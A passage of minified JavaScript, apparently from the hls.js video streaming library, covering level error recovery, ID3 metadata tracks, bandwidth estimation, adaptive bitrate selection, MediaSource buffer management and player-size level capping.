idx"})},d.onError=function(e){if(e.fatal)e.type===a.ErrorTypes.NETWORK_ERROR&&this.clearTimer();else{var t,r=!1,i=!1;switch(e.details){case a.ErrorDetails.FRAG_LOAD_ERROR:case a.ErrorDetails.FRAG_LOAD_TIMEOUT:case a.ErrorDetails.KEY_LOAD_ERROR:case a.ErrorDetails.KEY_LOAD_TIMEOUT:t=e.frag.level,i=!0;break;case a.ErrorDetails.LEVEL_LOAD_ERROR:case a.ErrorDetails.LEVEL_LOAD_TIMEOUT:t=e.context.level,r=!0;break;case a.ErrorDetails.REMUX_ALLOC_ERROR:t=e.level,r=!0}void 0!==t&&this.recoverLevel(e,t,r,i)}},d.recoverLevel=function(e,t,r,i){var n,s,a,o=this,l=this.hls.config,d=e.details,u=this._levels[t];if(u.loadError++,u.fragmentError=i,r){if(!(this.levelRetryCount+1<=l.levelLoadingMaxRetry))return h.logger.error("level controller, cannot recover from "+d+" error"),this.currentLevelIndex=null,this.clearTimer(),void(e.fatal=!0);s=Math.min(Math.pow(2,this.levelRetryCount)*l.levelLoadingRetryDelay,l.levelLoadingMaxRetryTimeout),this.timer=setTimeout((function(){return o.loadLevel()}),s),e.levelRetry=!0,this.levelRetryCount++,h.logger.warn("level controller, "+d+", retry in "+s+" ms, current retry count is "+this.levelRetryCount)}(r||i)&&((n=u.url.length)>1&&u.loadError<n?(u.urlId=(u.urlId+1)%n,u.details=void 0,h.logger.warn("level controller, "+d+" for level "+t+": switching to redundant URL-id "+u.urlId)):-1===this.manualLevelIndex?(a=0===t?this._levels.length-1:t-1,h.logger.warn("level controller, "+d+": switch to "+a),this.hls.nextAutoLevel=this.currentLevelIndex=a):i&&(h.logger.warn("level controller, "+d+": reload a fragment"),this.currentLevelIndex=null))},d.onFragLoaded=function(e){var t=e.frag;if(void 0!==t&&"main"===t.type){var r=this._levels[t.level];void 0!==r&&(r.fragmentError=!1,r.loadError=0,this.levelRetryCount=0)}},d.onLevelLoaded=function(e){var t=this,r=e.level,i=e.details;if(r===this.currentLevelIndex){var n=this._levels[r];if(n.fragmentError||(n.loadError=0,this.levelRetryCount=0),i.live){var s=function(e,t,r){var i=1e3*(t.averagetargetduration?t.averagetargetduration:t.targetduration),n=i/2;return e&&t.endSN===e.endSN&&(i=n),r&&(i=Math.max(n,i-(window.performance.now()-r))),Math.round(i)}(n.details,i,e.stats.trequest);h.logger.log("live playlist, reload in "+Math.round(s)+" ms"),this.timer=setTimeout((function(){return t.loadLevel()}),s)}else this.clearTimer()}},d.onAudioTrackSwitched=function(e){var t=this.hls.audioTracks[e.id].groupId,r=this.hls.levels[this.currentLevelIndex];if(r&&r.audioGroupIds){for(var i=-1,n=0;n<r.audioGroupIds.length;n++)if(r.audioGroupIds[n]===t){i=n;break}i!==r.urlId&&(r.urlId=i,this.startLoad())}},d.loadLevel=function(){if(h.logger.debug("call to loadLevel"),null!==this.currentLevelIndex&&this.canload){var e=this._levels[this.currentLevelIndex];if("object"==typeof e&&e.url.length>0){var t=this.currentLevelIndex,r=e.urlId,i=e.url[r];h.logger.log("Attempt loading level index "+t+" with URL-id "+r),this.hls.trigger(l.default.LEVEL_LOADING,{url:i,level:t,id:r})}}},d.removeLevel=function(e,t){var r=this.levels.filter((function(r,i){return i!==e||r.url.length>1&&void 0!==t&&(r.url=r.url.filter((function(e,r){return r!==t})),r.urlId=0,!0)})).map((function(e,t){var r=e.details;return r&&r.fragments&&r.fragments.forEach((function(e){e.level=t})),e}));this._levels=r,this.hls.trigger(l.default.LEVELS_UPDATED,{levels:r})},n=i,(s=[{key:"levels",get:function(){return this._levels}},{key:"level",get:function(){return this.currentLevelIndex},set:function(e){var t=this._levels;t&&(e=Math.min(e,t.length-1),this.currentLevelIndex===e&&t[e].details||this.setLevelInternal(e))}},{key:"manualLevel",get:function(){return this.manualLevelIndex},set:function(e){this.manualLevelIndex=e,void 0===this._startLevel&&(this._startLevel=e),-1!==e&&(this.level=e)}},{key:"firstLevel",get:function(){return this._firstLevel},set:function(e){this._firstLevel=e}},{key:"startLevel",get:function(){if(void 0===this._startLevel){var e=this.hls.config.startLevel;return void 0!==e?e:this._firstLevel}return this._startLevel},set:function(e){this._startLevel=e}},{key:"nextLoadLevel",get:function(){return-1!==this.manualLevelIndex?this.manualLevelIndex:this.hls.nextAutoLevel},set:function(e){this.level=e,-1===this.manualLevelIndex&&(this.hls.nextAutoLevel=e)}}])&&Pe(n.prototype,s),o&&Pe(n,o),i}(c),Re=r("./src/demux/id3.js");function Ie(e,t){var r;try{r=new Event("addtrack")}catch(e){(r=document.createEvent("Event")).initEvent("addtrack",!1,!1)}r.track=e,t.dispatchEvent(r)}var De=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.MEDIA_ATTACHED,l.default.MEDIA_DETACHING,l.default.FRAG_PARSING_METADATA,l.default.LIVE_BACK_BUFFER_REACHED)||this).id3Track=void 0,r.media=void 0,r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.destroy=function(){c.prototype.destroy.call(this)},n.onMediaAttached=function(e){this.media=e.media,this.media},n.onMediaDetaching=function(){!function(e){if(null==e?void 0:e.cues)for(;e.cues.length>0;)e.removeCue(e.cues[0])}(this.id3Track),this.id3Track=void 0,this.media=void 0},n.getID3Track=function(e){for(var t=0;t<e.length;t++){var r=e[t];if("metadata"===r.kind&&"id3"===r.label)return Ie(r,this.media),r}return this.media.addTextTrack("metadata","id3")},n.onFragParsingMetadata=function(e){var t=e.frag,r=e.samples;this.id3Track||(this.id3Track=this.getID3Track(this.media.textTracks),this.id3Track.mode="hidden");for(var i=window.WebKitDataCue||window.VTTCue||window.TextTrackCue,n=0;n<r.length;n++){var s=Re.default.getID3Frames(r[n].data);if(s){var a=Math.max(r[n].pts,0),o=n<r.length-1?r[n+1].pts:t.endPTS;o||(o=t.start+t.duration),o-a<=0&&(o=a+.25);for(var l=0;l<s.length;l++){var h=s[l];if(!Re.default.isTimeStampFrame(h)){var d=new i(a,o,"");d.value=h,this.id3Track.addCue(d)}}}}},n.onLiveBackBufferReached=function(e){var t=e.bufferEnd,r=this.id3Track;if(r&&r.cues&&r.cues.length){var i=function(e,t){if(t<e[0].endTime)return e[0];if(t>e[e.length-1].endTime)return e[e.length-1];for(var r=0,i=e.length-1;r<=i;){var n=Math.floor((i+r)/2);if(t<e[n].endTime)i=n-1;else{if(!(t>e[n].endTime))return e[n];r=n+1}}return e[r].endTime-t<t-e[i].endTime?e[r]:e[i]}(r.cues,t);if(i)for(;r.cues[0]!==i;)r.removeCue(r.cues[0])}},i}(c),Ce=function(){function e(e){this.alpha_=void 0,this.estimate_=void 0,this.totalWeight_=void 0,this.alpha_=e?Math.exp(Math.log(.5)/e):0,this.estimate_=0,this.totalWeight_=0}var t=e.prototype;return t.sample=function(e,t){var r=Math.pow(this.alpha_,e);this.estimate_=t*(1-r)+r*this.estimate_,this.totalWeight_+=e},t.getTotalWeight=function(){return this.totalWeight_},t.getEstimate=function(){if(this.alpha_){var e=1-Math.pow(this.alpha_,this.totalWeight_);return this.estimate_/e}return this.estimate_},e}(),xe=function(){function e(e,t,r,i){this.hls=void 0,this.defaultEstimate_=void 0,this.minWeight_=void 0,this.minDelayMs_=void 0,this.slow_=void 0,this.fast_=void 0,this.hls=e,this.defaultEstimate_=i,this.minWeight_=.001,this.minDelayMs_=50,this.slow_=new Ce(t),this.fast_=new Ce(r)}var t=e.prototype;return t.sample=function(e,t){var r=(e=Math.max(e,this.minDelayMs_))/1e3,i=8*t/r;this.fast_.sample(r,i),this.slow_.sample(r,i)},t.canEstimate=function(){var e=this.fast_;return e&&e.getTotalWeight()>=this.minWeight_},t.getEstimate=function(){return this.canEstimate()?Math.min(this.fast_.getEstimate(),this.slow_.getEstimate()):this.defaultEstimate_},t.destroy=function(){},e}();function Oe(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}var Me=window.performance,ke=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.FRAG_LOADING,l.default.FRAG_LOADED,l.default.FRAG_BUFFERED,l.default.ERROR)||this).lastLoadedFragLevel=0,r._nextAutoLevel=-1,r.hls=t,r.timer=null,r._bwEstimator=null,r.onCheck=r._abandonRulesCheck.bind(function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(r)),r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n,s,d,u=i.prototype;return u.destroy=function(){this.clearTimer(),c.prototype.destroy.call(this)},u.onFragLoading=function(e){var t=e.frag;if("main"===t.type&&(this.timer||(this.fragCurrent=t,this.timer=setInterval(this.onCheck,100)),!this._bwEstimator)){var r,i,n=this.hls,s=n.config,a=t.level;n.levels[a].details.live?(r=s.abrEwmaFastLive,i=s.abrEwmaSlowLive):(r=s.abrEwmaFastVoD,i=s.abrEwmaSlowVoD),this._bwEstimator=new xe(n,i,r,s.abrEwmaDefaultEstimate)}},u._abandonRulesCheck=function(){var e=this.hls,t=e.media,r=this.fragCurrent;if(r){var i=r.loader;if(!i||i.stats&&i.stats.aborted)return h.logger.warn("frag loader destroy or aborted, disarm abandonRules"),this.clearTimer(),void(this._nextAutoLevel=-1);var n=i.stats;if(t&&n&&(!t.paused&&0!==t.playbackRate||!t.readyState)&&r.autoLevel&&r.level){var s=Me.now()-n.trequest,a=Math.abs(t.playbackRate);if(s>500*r.duration/a){var o=e.levels,d=Math.max(1,n.bw?n.bw/8:1e3*n.loaded/s),u=o[r.level];if(!u)return;var c=u.realBitrate?Math.max(u.realBitrate,u.bitrate):u.bitrate,f=n.total?n.total:Math.max(n.loaded,Math.round(r.duration*c/8)),g=t.currentTime,p=(f-n.loaded)/d,m=(H.bufferInfo(t,g,e.config.maxBufferHole).end-g)/a;if(m<2*r.duration/a&&p>m){var v,_,y=e.minAutoLevel;for(_=r.level-1;_>y;_--){var E=o[_].realBitrate?Math.max(o[_].realBitrate,o[_].bitrate):o[_].bitrate;if(r.duration*E/(6.4*d)<m)break}v<p&&(h.logger.warn("loading too slow, abort fragment loading and switch to level "+_+":fragLoadedDelay["+_+"]<fragLoadedDelay["+(r.level-1)+"];bufferStarvationDelay:"+v.toFixed(1)+"<"+p.toFixed(1)+":"+m.toFixed(1)),e.nextLoadLevel=_,this._bwEstimator.sample(s,n.loaded),i.abort(),this.clearTimer(),e.trigger(l.default.FRAG_LOAD_EMERGENCY_ABORTED,{frag:r,stats:n}))}}}}},u.onFragLoaded=function(e){var t=e.frag;if("main"===t.type&&Object(o.isFiniteNumber)(t.sn)){if(this.clearTimer(),this.lastLoadedFragLevel=t.level,this._nextAutoLevel=-1,this.hls.config.abrMaxWithRealBitrate){var r=this.hls.levels[t.level],i=(r.loaded?r.loaded.bytes:0)+e.stats.loaded,n=(r.loaded?r.loaded.duration:0)+e.frag.duration;r.loaded={bytes:i,duration:n},r.realBitrate=Math.round(8*i/n)}if(e.frag.bitrateTest){var s=e.stats;s.tparsed=s.tbuffered=s.tload,this.onFragBuffered(e)}}},u.onFragBuffered=function(e){var t=e.stats,r=e.frag;if(!0!==t.aborted&&"main"===r.type&&Object(o.isFiniteNumber)(r.sn)&&(!r.bitrateTest||t.tload===t.tbuffered)){var i=t.tparsed-t.trequest;h.logger.log("latency/loading/parsing/append/kbps:"+Math.round(t.tfirst-t.trequest)+"/"+Math.round(t.tload-t.tfirst)+"/"+Math.round(t.tparsed-t.tload)+"/"+Math.round(t.tbuffered-t.tparsed)+"/"+Math.round(8*t.loaded/(t.tbuffered-t.trequest))),this._bwEstimator.sample(i,t.loaded),t.bwEstimate=this._bwEstimator.getEstimate(),r.bitrateTest?this.bitrateTestDelay=i/1e3:this.bitrateTestDelay=0}},u.onError=function(e){switch(e.details){case a.ErrorDetails.FRAG_LOAD_ERROR:case a.ErrorDetails.FRAG_LOAD_TIMEOUT:this.clearTimer()}},u.clearTimer=function(){clearInterval(this.timer),this.timer=null},u._findBestLevel=function(e,t,r,i,n,s,a,o,l){for(var d=n;d>=i;d--){var u=l[d];if(u){var c=u.details,f=c?c.totalduration/c.fragments.length:t,g=!!c&&c.live,p=void 0;p=d<=e?a*r:o*r;var m=l[d].realBitrate?Math.max(l[d].realBitrate,l[d].bitrate):l[d].bitrate,v=m*f/p;if(h.logger.trace("level/adjustedbw/bitrate/avgDuration/maxFetchDuration/fetchDuration: "+d+"/"+Math.round(p)+"/"+m+"/"+f+"/"+s+"/"+v),p>m&&(!v||g&&!this.bitrateTestDelay||v<s))return d}}return-1},n=i,(s=[{key:"nextAutoLevel",get:function(){var e=this._nextAutoLevel,t=this._bwEstimator;if(!(-1===e||t&&t.canEstimate()))return e;var r=this._nextABRAutoLevel;return-1!==e&&(r=Math.min(e,r)),r},set:function(e){this._nextAutoLevel=e}},{key:"_nextABRAutoLevel",get:function(){var e=this.hls,t=e.maxAutoLevel,r=e.levels,i=e.config,n=e.minAutoLevel,s=e.media,a=this.lastLoadedFragLevel,o=this.fragCurrent?this.fragCurrent.duration:0,l=s?s.currentTime:0,d=s&&0!==s.playbackRate?Math.abs(s.playbackRate):1,u=this._bwEstimator?this._bwEstimator.getEstimate():i.abrEwmaDefaultEstimate,c=(H.bufferInfo(s,l,i.maxBufferHole).end-l)/d,f=this._findBestLevel(a,o,u,n,t,c,i.abrBandWidthFactor,i.abrBandWidthUpFactor,r);if(f>=0)return f;h.logger.trace("rebuffering expected to happen, lets try to find a quality level minimizing the rebuffering");var g=o?Math.min(o,i.maxStarvationDelay):i.maxStarvationDelay,p=i.abrBandWidthFactor,m=i.abrBandWidthUpFactor;if(0===c){var v=this.bitrateTestDelay;v&&(g=(o?Math.min(o,i.maxLoadingDelay):i.maxLoadingDelay)-v,h.logger.trace("bitrate test took "+Math.round(1e3*v)+"ms, set first fragment max fetchDuration to "+Math.round(1e3*g)+" ms"),p=m=1)}return f=this._findBestLevel(a,o,u,n,t,c+g,p,m,r),Math.max(f,0)}}])&&Oe(n.prototype,s),d&&Oe(n,d),i}(c),Ne=z(),Fe=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.MEDIA_ATTACHING,l.default.MEDIA_DETACHING,l.default.MANIFEST_PARSED,l.default.BUFFER_RESET,l.default.BUFFER_APPENDING,l.default.BUFFER_CODECS,l.default.BUFFER_EOS,l.default.BUFFER_FLUSHING,l.default.LEVEL_PTS_UPDATED,l.default.LEVEL_UPDATED)||this)._msDuration=null,r._levelDuration=null,r._levelTargetDuration=10,r._live=null,r._objectUrl=null,r._needsFlush=!1,r._needsEos=!1,r.config=void 0,r.audioTimestampOffset=void 0,r.bufferCodecEventsExpected=0,r._bufferCodecEventsTotal=0,r.media=null,r.mediaSource=null,r.segments=[],r.parent=void 0,r.appending=!1,r.appended=0,r.appendError=0,r.flushBufferCounter=0,r.tracks={},r.pendingTracks={},r.sourceBuffer={},r.flushRange=[],r._onMediaSourceOpen=function(){h.logger.log("media source opened"),r.hls.trigger(l.default.MEDIA_ATTACHED,{media:r.media});var e=r.mediaSource;e&&e.removeEventListener("sourceopen",r._onMediaSourceOpen),r.checkPendingTracks()},r._onMediaSourceClose=function(){h.logger.log("media source closed")},r._onMediaSourceEnded=function(){h.logger.log("media source ended")},r._onSBUpdateEnd=function(){if(r.audioTimestampOffset&&r.sourceBuffer.audio){var e=r.sourceBuffer.audio;h.logger.warn("change mpeg audio timestamp offset from "+e.timestampOffset+" to "+r.audioTimestampOffset),e.timestampOffset=r.audioTimestampOffset,delete r.audioTimestampOffset}r._needsFlush&&r.doFlush(),r._needsEos&&r.checkEos(),r.appending=!1;var t=r.parent,i=r.segments.reduce((function(e,r){return r.parent===t?e+1:e}),0),n={},s=r.sourceBuffer;for(var a in s){var o=s[a];if(!o)throw Error("handling source buffer update end error: source buffer for "+a+" uninitilized and unable to update buffered TimeRanges.");n[a]=o.buffered}r.hls.trigger(l.default.BUFFER_APPENDED,{parent:t,pending:i,timeRanges:n}),r._needsFlush||r.doAppending(),r.updateMediaElementDuration(),0===i&&r.flushLiveBackBuffer()},r._onSBUpdateError=function(e){h.logger.error("sourceBuffer error:",e),r.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.MEDIA_ERROR,details:a.ErrorDetails.BUFFER_APPENDING_ERROR,fatal:!1})},r.config=t.config,r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.destroy=function(){c.prototype.destroy.call(this)},n.onLevelPtsUpdated=function(e){var t=e.type,r=this.tracks.audio;if("audio"===t&&r&&"audio/mpeg"===r.container){var i=this.sourceBuffer.audio;if(!i)throw Error("Level PTS Updated and source buffer for audio uninitalized");if(Math.abs(i.timestampOffset-e.start)>.1){var n=i.updating;try{i.abort()}catch(e){h.logger.warn("can not abort audio buffer: "+e)}n?this.audioTimestampOffset=e.start:(h.logger.warn("change mpeg audio timestamp offset from "+i.timestampOffset+" to "+e.start),i.timestampOffset=e.start)}}},n.onManifestParsed=function(e){var t=2;(e.audio&&!e.video||!e.altAudio)&&(t=1),this.bufferCodecEventsExpected=this._bufferCodecEventsTotal=t,h.logger.log(this.bufferCodecEventsExpected+" bufferCodec event(s) expected")},n.onMediaAttaching=function(e){var t=this.media=e.media;if(t&&Ne){var r=this.mediaSource=new Ne;r.addEventListener("sourceopen",this._onMediaSourceOpen),r.addEventListener("sourceended",this._onMediaSourceEnded),r.addEventListener("sourceclose",this._onMediaSourceClose),t.src=window.URL.createObjectURL(r),this._objectUrl=t.src}},n.onMediaDetaching=function(){h.logger.log("media source detaching");var e=this.mediaSource;if(e){if("open"===e.readyState)try{e.endOfStream()}catch(e){h.logger.warn("onMediaDetaching:"+e.message+" while calling endOfStream")}e.removeEventListener("sourceopen",this._onMediaSourceOpen),e.removeEventListener("sourceended",this._onMediaSourceEnded),e.removeEventListener("sourceclose",this._onMediaSourceClose),this.media&&(this._objectUrl&&window.URL.revokeObjectURL(this._objectUrl),this.media.src===this._objectUrl?(this.media.removeAttribute("src"),this.media.load()):h.logger.warn("media.src was changed by a third party - skip cleanup")),this.mediaSource=null,this.media=null,this._objectUrl=null,this.bufferCodecEventsExpected=this._bufferCodecEventsTotal,this.pendingTracks={},this.tracks={},this.sourceBuffer={},this.flushRange=[],this.segments=[],this.appended=0}this.hls.trigger(l.default.MEDIA_DETACHED)},n.checkPendingTracks=function(){var e=this.bufferCodecEventsExpected,t=this.pendingTracks,r=Object.keys(t).length;(r&&!e||2===r)&&(this.createSourceBuffers(t),this.pendingTracks={},this.doAppending())},n.onBufferReset=function(){var e=this.sourceBuffer;for(var t in e){var r=e[t];try{r&&(this.mediaSource&&this.mediaSource.removeSourceBuffer(r),r.removeEventListener("updateend",this._onSBUpdateEnd),r.removeEventListener("error",this._onSBUpdateError))}catch(e){}}this.sourceBuffer={},this.flushRange=[],this.segments=[],this.appended=0},n.onBufferCodecs=function(e){var t=this;Object.keys(this.sourceBuffer).length||(Object.keys(e).forEach((function(r){t.pendingTracks[r]=e[r]})),this.bufferCodecEventsExpected=Math.max(this.bufferCodecEventsExpected-1,0),this.mediaSource&&"open"===this.mediaSource.readyState&&this.checkPendingTracks())},n.createSourceBuffers=function(e){var t=this.sourceBuffer,r=this.mediaSource;if(!r)throw Error("createSourceBuffers called when mediaSource was null");for(var i in e)if(!t[i]){var n=e[i];if(!n)throw Error("source buffer exists for track "+i+", however track does not");var s=n.levelCodec||n.codec,o=n.container+";codecs="+s;h.logger.log("creating sourceBuffer("+o+")");try{var d=t[i]=r.addSourceBuffer(o);d.addEventListener("updateend",this._onSBUpdateEnd),d.addEventListener("error",this._onSBUpdateError),this.tracks[i]={buffer:d,codec:s,id:n.id,container:n.container,levelCodec:n.levelCodec}}catch(e){h.logger.error("error while trying to add sourceBuffer:"+e.message),this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.MEDIA_ERROR,details:a.ErrorDetails.BUFFER_ADD_CODEC_ERROR,fatal:!1,err:e,mimeType:o})}}this.hls.trigger(l.default.BUFFER_CREATED,{tracks:this.tracks})},n.onBufferAppending=function(e){this._needsFlush||(this.segments?this.segments.push(e):this.segments=[e],this.doAppending())},n.onBufferEos=function(e){for(var t in this.sourceBuffer)if(!e.type||e.type===t){var r=this.sourceBuffer[t];r&&!r.ended&&(r.ended=!0,h.logger.log(t+" sourceBuffer now EOS"))}this.checkEos()},n.checkEos=function(){var e=this.sourceBuffer,t=this.mediaSource;if(t&&"open"===t.readyState){for(var r in e){var i=e[r];if(i){if(!i.ended)return;if(i.updating)return void(this._needsEos=!0)}}h.logger.log("all media data are available, signal endOfStream() to MediaSource and stop loading fragment");try{t.endOfStream()}catch(e){h.logger.warn("exception while calling mediaSource.endOfStream()")}this._needsEos=!1}else this._needsEos=!1},n.onBufferFlushing=function(e){e.type?this.flushRange.push({start:e.startOffset,end:e.endOffset,type:e.type}):(this.flushRange.push({start:e.startOffset,end:e.endOffset,type:"video"}),this.flushRange.push({start:e.startOffset,end:e.endOffset,type:"audio"})),this.flushBufferCounter=0,this.doFlush()},n.flushLiveBackBuffer=function(){if(this._live){var e=this.config.liveBackBufferLength;if(isFinite(e)&&!(e<0))if(this.media)for(var t=this.media.currentTime,r=this.sourceBuffer,i=Object.keys(r),n=t-Math.max(e,this._levelTargetDuration),s=i.length-1;s>=0;s--){var a=i[s],o=r[a];if(o){var d=o.buffered;d.length>0&&n>d.start(0)&&this.removeBufferRange(a,o,0,n)&&this.hls.trigger(l.default.LIVE_BACK_BUFFER_REACHED,{bufferEnd:n})}}else h.logger.error("flushLiveBackBuffer called without attaching media")}},n.onLevelUpdated=function(e){var t=e.details;t.fragments.length>0&&(this._levelDuration=t.totalduration+t.fragments[0].start,this._levelTargetDuration=t.averagetargetduration||t.targetduration||10,this._live=t.live,this.updateMediaElementDuration())},n.updateMediaElementDuration=function(){var e,t=this.config;if(null!==this._levelDuration&&this.media&&this.mediaSource&&this.sourceBuffer&&0!==this.media.readyState&&"open"===this.mediaSource.readyState){for(var r in this.sourceBuffer){var i=this.sourceBuffer[r];if(i&&!0===i.updating)return}e=this.media.duration,null===this._msDuration&&(this._msDuration=this.mediaSource.duration),!0===this._live&&!0===t.liveDurationInfinity?(h.logger.log("Media Source duration is set to Infinity"),this._msDuration=this.mediaSource.duration=1/0):(this._levelDuration>this._msDuration&&this._levelDuration>e||!Object(o.isFiniteNumber)(e))&&(h.logger.log("Updating Media Source duration to "+this._levelDuration.toFixed(3)),this._msDuration=this.mediaSource.duration=this._levelDuration)}},n.doFlush=function(){for(;this.flushRange.length;){var e=this.flushRange[0];if(!this.flushBuffer(e.start,e.end,e.type))return void(this._needsFlush=!0);this.flushRange.shift(),this.flushBufferCounter=0}if(0===this.flushRange.length){this._needsFlush=!1;var t=0,r=this.sourceBuffer;try{for(var i in r){var n=r[i];n&&(t+=n.buffered.length)}}catch(e){h.logger.error("error while accessing sourceBuffer.buffered")}this.appended=t,this.hls.trigger(l.default.BUFFER_FLUSHED)}},n.doAppending=function(){var e=this.config,t=this.hls,r=this.segments,i=this.sourceBuffer;if(Object.keys(i).length){if(!this.media||this.media.error)return this.segments=[],void h.logger.error("trying to append although a media error occured, flush segment and abort");if(!this.appending){var n=r.shift();if(n)try{var s=i[n.type];if(!s)return void this._onSBUpdateEnd();if(s.updating)return void r.unshift(n);s.ended=!1,this.parent=n.parent,s.appendBuffer(n.data),this.appendError=0,this.appended++,this.appending=!0}catch(i){h.logger.error("error while trying to append buffer:"+i.message),r.unshift(n);var o={type:a.ErrorTypes.MEDIA_ERROR,parent:n.parent,details:"",fatal:!1};22===i.code?(this.segments=[],o.details=a.ErrorDetails.BUFFER_FULL_ERROR):(this.appendError++,o.details=a.ErrorDetails.BUFFER_APPEND_ERROR,this.appendError>e.appendErrorMaxRetry&&(h.logger.log("fail "+e.appendErrorMaxRetry+" times to append segment in sourceBuffer"),this.segments=[],o.fatal=!0)),t.trigger(l.default.ERROR,o)}}}},n.flushBuffer=function(e,t,r){var i=this.sourceBuffer;if(!Object.keys(i).length)return!0;var n="null";if(this.media&&(n=this.media.currentTime.toFixed(3)),h.logger.log("flushBuffer,pos/start/end: "+n+"/"+e+"/"+t),this.flushBufferCounter>=this.appended)return h.logger.warn("abort flushing too many retries"),!0;var s=i[r];if(s){if(s.ended=!1,s.updating)return h.logger.warn("cannot flush, sb updating in progress"),!1;if(this.removeBufferRange(r,s,e,t))return this.flushBufferCounter++,!1}return h.logger.log("buffer flushed"),!0},n.removeBufferRange=function(e,t,r,i){try{for(var n=0;n<t.buffered.length;n++){var s=t.buffered.start(n),a=t.buffered.end(n),o=Math.max(s,r),l=Math.min(a,i);if(Math.min(l,a)-o>.5){var d="null";return this.media&&(d=this.media.currentTime.toString()),h.logger.log("sb remove "+e+" ["+o+","+l+"], of ["+s+","+a+"], pos:"+d),t.remove(o,l),!0}}}catch(e){h.logger.warn("removeBufferRange failed",e)}return!1},i}(c);function Be(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}var Ue,Ge=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.FPS_DROP_LEVEL_CAPPING,l.default.MEDIA_ATTACHING,l.default.MANIFEST_PARSED,l.default.LEVELS_UPDATED,l.default.BUFFER_CODECS,l.default.MEDIA_DETACHING)||this).autoLevelCapping=Number.POSITIVE_INFINITY,r.firstLevel=null,r.levels=[],r.media=null,r.restrictedLevels=[],r.timer=null,r.clientRect=null,r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n,s,a,o=i.prototype;return o.destroy=function(){this.hls.config.capLevelToPlayerSize&&(this.media=null,this.clientRect=null,this.stopCapping())},o.onFpsDropLevelCapping=function(e){i.isLevelAllowed(e.droppedLevel,this.restrictedLevels)&&this.restrictedLevels.push(e.droppedLevel)},o.onMediaAttaching=function(e){this.media=e.media instanceof window.HTMLVideoElement?e.media:null},o.onManifestParsed=function(e){var t=this.hls;this.restrictedLevels=[],this.levels=e.levels,this.firstLevel=e.firstLevel,t.config.capLevelToPlayerSize&&e.video&&this.startCapping()},o.onBufferCodecs=function(e){this.hls.config.capLevelToPlayerSize&&e.video&&this.startCapping()},o.onLevelsUpdated=function(e){this.levels=e.levels},o.onMediaDetaching=function(){this.stopCapping()},o.detectPlayerSize=function(){if(this.media){var e=this.levels?this.levels.length:0;if(e){var t=this.hls;t.autoLevelCapping=this.getMaxLevel(e-1),t.autoLevelCapping>this.autoLevelCapping&&t.streamController.nextLevelSwitch(),this.autoLevelCapping=t.autoLevelCapping}}},o.getMaxLevel=function(e){var t=this;if(!this.levels)return-1;var r=this.levels.filter((function(r,n){return i.isLevelAllowed(n,t.restrictedLevels)&&n<=e}));return this.clientRect=null,i.getMaxLevelByMediaSize(r,this.mediaWidth,this.mediaHeight)},o.startCapping=function(){this.timer||(this.autoLevelCapping=Number.POSITIVE_INFINITY,this.hls.firstLevel=this.getMaxLevel(this.firstLevel),clearInterval(this.timer),this.timer=setInterval(this.detectPlayerSize.bind(this),1e3),this.detectPlayerSize())},o.stopCapping=function(){this.restrictedLevels=[],this.firstLevel=null,this.autoLevelCapping=Number.POSITIVE_INFINITY,this.timer&&(this.timer=clearInterval(this.timer),this.timer=null)},o.getDimensions=function(){if(this.clientRect)return this.clientRect;var e=this.media,t={width:0,height:0};if(e){var r=e.getBoundingClientRect();t.width=r.width,t.height=r.height,t.width||t.height||(t.width=r.right-r.left||e.width||0,t.height=r.bottom-r.top||e.height||0)}return this.clientRect=t,t},i.isLevelAllowed=function(e,t){return void 0===t&&(t=[]),-1===t.indexOf(e)},i.getMaxLevelByMediaSize=function(e,t,r){if(!e||e&&!e.length)return-1;for(var i,n,s=e.length-1,a=0;a<e.length;a+=1){var o=e[a];if((o.width>=t||o.height>=r)&&(i=o,!(n=e[a+1])||i.width!==n.width||i.height!==n.height)){s=a;break}}return s},n=i,a=[{key:"contentScaleFactor",get:function(){var e=1;try{e=window.devicePixelRatio}catch(e){}return e}}],(s=[{key:"mediaWidth",get:function(){return this.getDimensions().width*i.contentScaleFactor}},{key:"mediaHeight",get:function(){return this.getDimensions().height*i.contentScaleFactor}}])&&Be(n.prototype,s),a&&Be(n,a),i}(c),je=window.performance,$e=function(e){var t,r;function i(t){return e.call(this,t,l.default.MEDIA_ATTACHING)||this}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.destroy=function(){this.timer&&clearInterval(this.timer),this.isVideoPlaybackQualityAvailable=!1},n.onMediaAttaching=function(e){var t=this.hls.config;t.capLevelOnFPSDrop&&("function"==typeof(this.video=e.media instanceof window.HTMLVideoElement?e.media:null).getVideoPlaybackQuality&&(this.isVideoPlaybackQualityAvailable=!0),clearInterval(this.timer),this.timer=setInterval(this.checkFPSInterval.bind(this),t.fpsDroppedMonitoringPeriod))},n.checkFPS=function(e,t,r){var i=je.now();if(t){if(this.lastTime){var n=i-this.lastTime,s=r-this.lastDroppedFrames,a=t-this.lastDecodedFrames,o=1e3*s/n,d=this.hls;if(d.trigger(l.default.FPS_DROP,{currentDropped:s,currentDecoded:a,totalDroppedFrames:r}),o>0&&s>d.config.fpsDroppedMonitoringThreshold*a){var u=d.currentLevel;h.logger.warn("drop FPS ratio greater than max allowed value for currentLevel: 